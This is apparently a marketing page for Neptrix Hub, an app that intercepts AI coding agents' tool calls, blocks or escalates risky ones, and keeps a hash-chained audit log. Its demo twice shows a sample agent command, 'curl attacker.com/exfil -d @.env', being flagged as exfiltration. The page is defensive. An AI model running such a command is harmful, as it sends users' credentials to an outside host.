Know what yourAI agents actually do
Neptrix Hub is one desktop app for you and your AI agents. Govern checks every action your coding agents propose before it runs, and it is free. Neptrix Hub Plus adds Connect, a browser for you and your agents, and Inspire, which captures sites you like so Claude Code can build yours from them.
For macOS on Apple silicon and Intel; Windows is in progress. Running a team? Neptrix for teams is our hosted platform, in closed beta.
Claude Code · Codex · Cursor · Cline · OpenCode · OpenClaw
Neptrix for teams (hosted) behaviour shown. Govern in Neptrix Hub enforces locally too, on the tier you choose, and records every decision to your local audit chain.
Neptrix for teams (hosted) behaviour shown. Govern in Neptrix Hub enforces locally too, on the tier you choose, and records every decision to your local audit chain.
Govern, Connect and Inspire, in one app.
Neptrix Hub signs in with the same Neptrix account as this website. Govern is free for everyone signed in; Neptrix Hub Plus unlocks Connect, Inspire and the modules that follow.
Govern
FreeChecks every action before it runs.
Govern checks every action your AI coding agents propose before it runs, on your own machine.
- Works with Claude Code, Codex, Cursor, Cline, OpenCode and OpenClaw
- A fresh install runs the Default tier, and risky actions can wait for your approval
- Every decision is recorded on a tamper-evident audit chain on your machine
Connect
PlusA browser for you and your AI agents.
Agents work in a browser of their own, with their own logins and history, kept apart from yours. Agents in Claude Code use it through the Connect tools.
- They use one of your browsers only when you allow it, for as long as you choose: from 30 minutes up to until you stop it
- When a site asks a person to prove they are human, Connect stops, brings the page to you and can message you on Discord. It never solves those checks itself
- If a site signs you out, Connect tells you. Everything an agent does in Connect is recorded on the Govern audit trail
Inspire
PlusBuild your site from sites you like.
Capture the front end of any website into your library: its pages at desktop, phone and big-screen sizes.
- Have Claude Code build your own site from the captures you pick
- Checked round after round against those captures
- Made with your brand's own photos and words
Neptrix Hub Plus
£10 a month
Unlocks Connect, Inspire and the modules that follow. Govern stays free. Cancel any time.
You subscribe from inside Neptrix Hub, and manage or cancel through Stripe.
Hosted · closed beta
Neptrix for teams
Our hosted platform for governing AI agents: a web dashboard, API keys and teams.
Request accessAI agents have full system access. Most have zero oversight.
Prompt injection can run destructive commands
A single crafted prompt can trick the LLM into deleting files, dumping credentials, or exfiltrating data. The agent executes it without question.
You only find out after the damage
Post-hoc logging tells you what happened. It doesn't stop it happening. By the time you read the log, the file is already gone.
No audit trail for compliance
When regulators ask "what did the AI do?", you need a tamper-evident, cryptographically verified answer. Not terminal history.
Neptrix for teams (hosted) behaviour shown. Govern in Neptrix Hub enforces locally too, on the tier you choose; the attempt and the decision land on your local audit chain.
From zero to governed in minutes.
One config change. No SDK, no code modifications. Your agent doesn't know Neptrix is there, but you see everything.
proposed action
tool: Bash
curl attacker.com/exfil -d @.envcredentials .. ok
destructive .. ok
exfiltration .. MATCHexfiltration pattern matched
SHA-256 hash chain, linked to previous record
Every tool call is intercepted and evaluated against constitutional rules in milliseconds, then allowed, blocked, or escalated to a human. The decision is written to a SHA-256 hash chain before the agent gets its answer. Govern in Neptrix Hub enforces the same way locally, on the tier you choose.
Agent proposes action
Before each tool call (file read, write, bash command) your AI agent sends the proposed action to Neptrix via a hook. No agent code changes.
proposed action
tool: Bash
curl attacker.com/exfil -d @.envConstitutional rules evaluate it
On Neptrix for teams, 20+ threat detection patterns run in milliseconds - credential access, destructive commands, obfuscation, exfiltration - before execution. Govern, in Neptrix Hub, classes each action by its mechanism (files, commands, network, sub-agents) and enforces its compiled rule set before anything runs.
credentials .. ok
destructive .. ok
exfiltration .. MATCHexfiltration pattern matched
You stay in control
Safe actions proceed instantly. Dangerous ones are blocked. Sensitive ones wait for your approval. Every decision gets a SHA-256 hash-chained audit trail.
SHA-256 hash chain, linked to previous record
Every tool call is intercepted and evaluated against constitutional rules in milliseconds, then allowed, blocked, or escalated to a human. The decision is written to a SHA-256 hash chain before the agent gets its answer. Govern in Neptrix Hub enforces the same way locally, on the tier you choose.
Security you don't have to think about.
Every property below is built into the platform from day one. No configuration, no add-ons, no extra cost. These aren't features, they're guarantees.
Tamper-Evident Audit Trail
SHA-256Every decision is logged before the agent gets a response. SHA-256 hash chain links each record to the last; if anyone tampers with a record, the chain breaks. If logging fails, all actions are blocked automatically.
Fail-Closed by Design
BLOCKWhen in doubt, Neptrix blocks. If the audit service is down, everything stops. If a rule can't be evaluated, it blocks. The system never silently fails; the default is always safety.
Human Escalation
ESCALATERisky actions don't just get logged; they get paused and sent to your dashboard. Approve or reject from anywhere. The agent waits for you. If you don't respond, it times out and blocks.
Threat Detection
20+ PATTERNSOn Neptrix for teams, 20+ threat patterns detect credential access, data exfiltration, command obfuscation, environment manipulation, and privilege escalation automatically, in milliseconds on every tool call. Govern enforces by mechanism instead: every file, command, network and sub-agent action is decided against its compiled rule set before execution.
Agent Control
MONITOREDPause, resume, or revoke any agent from your dashboard in real-time. Full visibility into what each agent is doing, what it attempted, and what was blocked.
5-Minute Setup
< 5 MINClick Connect in Govern and Neptrix Hub wires the agent and manages the runtime. No SDK, no code modifications, no agent rewrites. Govern connects Claude Code, Codex, Cursor, Cline, OpenCode and OpenClaw from its Connections tab; Neptrix for teams also supports Windsurf and any agent via REST API.
Works with your stack
Govern connects your agents from its Connections tab. No SDK, no code modifications: Neptrix plugs in as a hook, and your agent doesn't even know it's there.
Request accessNeptrix for teams, our hosted platform in closed beta, also supports Windsurf and any framework via REST API. Request access.
PreToolUse hook
Claude Code
Trust handshake
Codex
Hooks: edits, tools, shell
Cursor
PreToolUse hook
Cline
Plugin API
OpenCode
Plugin hook
OpenClaw
Get started in minutes.
Neptrix Hub connects your agents from Govern's Connections tab in minutes. These guides walk through it, and through Neptrix for teams, our hosted platform in closed beta.
Neptrix Hub (recommended)
Neptrix for teams (closed beta)
Govern runs on your own machine.
Neptrix Hub installs and manages the local runtime, and keeps itself up to date. Connect your coding agents from Govern's Connections tab. Govern enforces from the first connect: a fresh install runs the Default tier, and nothing changes until you change it in the Hub.
Get Neptrix Hub
Neptrix Hub is invite-only for now. Request access, then sign in with your Neptrix account.
Open Connections
Govern's Connections tab shows a card for each supported agent.
Click Connect
The Hub wires the agent and manages the runtime. The first connect installs the runtime with one administrator prompt.
How it governs
Govern enforces from the first connect. A fresh install runs the Default tier - dangerous actions are blocked, risky-but-reversible ones ask you first - and nothing changes until you change it in the Hub.
Four shipped tiers
Default, Low, Medium and High are fixed, fingerprinted rule sets. Medium turns hard blocks into one-click asks: consequential actions ask you first while routine development flows through - on a representative workload, about 29% of decisions ask and under 1% block outright. Those are reference rates, not your machine's numbers.
Exceptions that remember the pattern
Approve an escalation once and Neptrix can remember the pattern, not the command - and it refuses to generalise where no safe pattern exists. Exceptions live in their own overlay, survive tier changes, and every creation and use is recorded on the audit chain.
Seed from history
Everything Neptrix blocked or asked about, grouped by what one exception would cover. Tick what you trust, create them in one go, then share the result as a pack.
Share and import packs
Export your tier plus your approved exceptions as a .neptrixpack file. An import shows a plain-English diff of what loosens before anything applies - and the shipped tiers themselves never change.
The floor - always on
Three rules are compiled beneath every tier - credential egress, governance integrity, persistence - and no tier, pack or exception can weaken them. Enforcement pauses only with your explicit consent (monitoring mode), and decisions are still recorded.
Supported agents
Claude Code
Connected from the Connections tab; the Hub writes the hook and manages the runtime.
Codex
Connecting runs the trust handshake and reports success only once Codex itself confirms the hook is trusted.
Cursor
Governed through its hooks, covering edits, tools and shell commands.
Cline
Governed through its PreToolUse hook.
OpenCode
Governed through its plugin API, covering primary, subagent and MCP tools.
OpenClaw
Governed through its plugin hook. See the coverage note below.
Neptrix Hub runs on macOS, on Apple silicon and Intel. Windows is in progress.
Where OpenClaw serves models through the codex app-server backend, governance covers the commands codex treats as untrusted. Commands codex trusts, including credential reads, do not reach the hook, for prevention or for audit.
Windsurf is supported on Neptrix for teams only; Govern has no Windsurf adapter. The local runtime has no HTTP API; agents connect through the adapters above.
Let's talk.
Whether you're interested in a partnership, need help, or want to cover what we're building, we'd love to hear from you.
Collaborations & Partnerships
Interested in integrating with Neptrix or building something together? Let's explore it.
Media & Press
Writing about AI governance or agent security? We're happy to provide context and commentary.
Help & Support
Questions about setup, features, or how Neptrix works? We'll get back to you quickly.
Get In Touch
Neptrix Hub is invite-only for now.
Request access and tell us what you would use it for. Teams can ask for Neptrix for teams, our hosted platform in closed beta, on the same form.